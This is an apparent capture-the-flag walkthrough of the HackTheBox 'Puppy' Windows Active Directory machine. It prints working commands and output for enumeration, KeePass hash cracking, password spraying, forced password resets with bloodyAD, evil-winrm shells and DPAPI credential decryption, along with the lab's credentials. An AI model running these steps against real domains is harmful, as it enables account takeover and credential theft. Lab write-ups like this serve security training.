As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!
Init
Starting with nmap scan there are a lot of ports open but main LDAP and NFS server.
Nmap scan report for 10.10.11.70
Host is up (0.058s latency).
Not shown: 986 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-05 06:53:41Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m00s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-05T06:55:31
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 235.97 seconds
Checking out the SMB shares:
┌─[htb_lab_truelyyours]─[10.10.16.101]─[truelyyours@parrot]─[~/htb/machines]
└──╼ [★]$ nxc smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
There is a DEV share but the user has no access to it. Checking for any certificates, there are none.
┌─[htb_lab_truelyyours]─[10.10.16.9]─[truelyyours@parrot]─[~/htb/machines/Puppy]
└──╼ [★]$ nxc ldap DC -u levi.james -p 'KingofAkron2025!' -M adcs
LDAP 10.10.11.70 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert)
LDAP 10.10.11.70 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
ADCS 10.10.11.70 389 DC [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
Going ahead and I collect bloodhound data and see if I can find any interesting relationships.
bloodhound-ce-python --zip -dc DC.puppy.htb -u levi.james -p 'KingofAkron2025!' --auth-method ntlm -c all -d puppy.htb --dns-tcp -ns 10.10.11.70
From this data I can see the Levi James is member of HR who can write to Developers group. Looking back, we did find a share of DEV so we can now add levi james to it and checkout what is there on DEV.

┌─[htb_lab_truelyyours]─[10.10.16.9]─[truelyyours@parrot]─[~/htb/machines/Puppy]
└──╼ [★]$ bloodyAD -d "puppy.htb" -u levi.james -p "KingofAkron2025!" --dc-ip 10.10.11.70 add groupMember 'developers' levi.james
[+] levi.james added to developers
┌─[htb_lab_truelyyours]─[10.10.16.9]─[truelyyours@parrot]─[~/htb/machines/Puppy]
└──╼ [★]$ nxc smb puppy.htb -u levi.james -p 'KingofAkron2025!' --sharesvi.jame
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
So, now we can read DEV! Here I find a .kdbx file (KeePass Database) so I download the file and try to get password from it.
Convert to a hash: python3 ../../../keepass2john/keepass2john.py recovery.kdbx > hash_john.keepass
Then we have the password which is easily cracked via john:

Using keepassxc I make note of all the passwords that we have in this “DB”.
passwords_keepass.txt
HJKL2025!
Antman2025!
JamieLove2025!
ILY2025!
Steve2025!
And we already have user’s list from bloodhound data:
users.txt
steph.cooper_adm
adam.silver
steph.cooper
jamie.williams
ant.edwards
levi.james
krbtgt
Guest
Administrator
Enumerating all user vs passwords nxc smb 10.10.11.70 -u users.txt -p password_from_keepass.txt --continue-on-success we have a match!
It is a good idea to check if the remote server has any restrictions on number of failed login attempts
nxc smb puppy.htb -u ant.edwards -p 'Antman2025!' --pass-pol. Here the “Account Lockout Threshold” is None so we can enumerate the users x password combinations.

User Flag
This user has the same shares as Levi James. Checking Bloodhound, Ant Edwards has GenericAll over user Adam Silver! Checking out via certipy we don’t have any ADCS possibilities:
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.90]─[truelyyours@parrot]─[~/htb/machines/Puppy]
└──╼ [★]$ certipy find -u "ant.edwards@puppy.htb" -p "Antman2025!" -target 10.10.11.70
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[-] Got error: socket ssl wrapping error: [Errno 104] Connection reset by peer
[-] Use -debug to print a stacktrace
So, the other possibility, which is not usually preferred in pentesting, is to reset/set the password!
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.90]─[truelyyours@parrot]─[~/htb/machines/Puppy]
└──╼ [★]$ bloodyAD --host puppy.htb -d puppy.htb -u 'ant.edwards' -p 'Antman2025!' set password 'adam.silver' 'Password!'
[+] Password changed successfully!
Verifying the password using nxc smb, the account is disabled STATUS_ACCOUNT_DISABLED. But we have generic write so we can enable it!
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.90]─[truelyyours@parrot]─[~/htb/machines/Puppy]
└──╼ [★]$ bloodyAD --host puppy.htb -d puppy.htb -u 'ant.edwards' -p 'Antman2025!' remove uac -f ACCOUNTDISABLE 'adam.silver'
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
┌─[(venv)]─[htb_lab_truelyyours]─[10.10.16.90]─[truelyyours@parrot]─[~/htb/machines/Puppy]
└──╼ [★]$ nxc smb puppy.htb -u 'adam.silver' -p 'Password!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\adam.silver:Password!
Now, we can get reverse shell using evil-winrm - evil-winrm -i 10.10.11.70 -u adam.silver -p 'Password!'.
Hence, we have the user flag now!
Privilege Escalation
Looking at the root folder, we have a “Backups” directors which has a zip. Downloading this an looking at the contents, it is a backup of a website. We do have a .bak file, nsm-auth-config.xml.bak specifically. This file has steph.cooper’s credentials.

Adam Silver has no outbound relations. There is steph.cooper_adm who have administrator privileges. So, I get shell via evil-winrm shell and load winPEAS.exe to find something.
We have some DPAPI Credentials Files and Master Key

Using dpapi.py (which is impackt’s file), we decrypt the master key which we can use to decrypt the credential files! One of the file has the password for steph.cooper_adm which we know have administrator privileges!

Cheers! 🎉😎! Treat yourself to a crisp glass of that God’s nectar 🥂💧!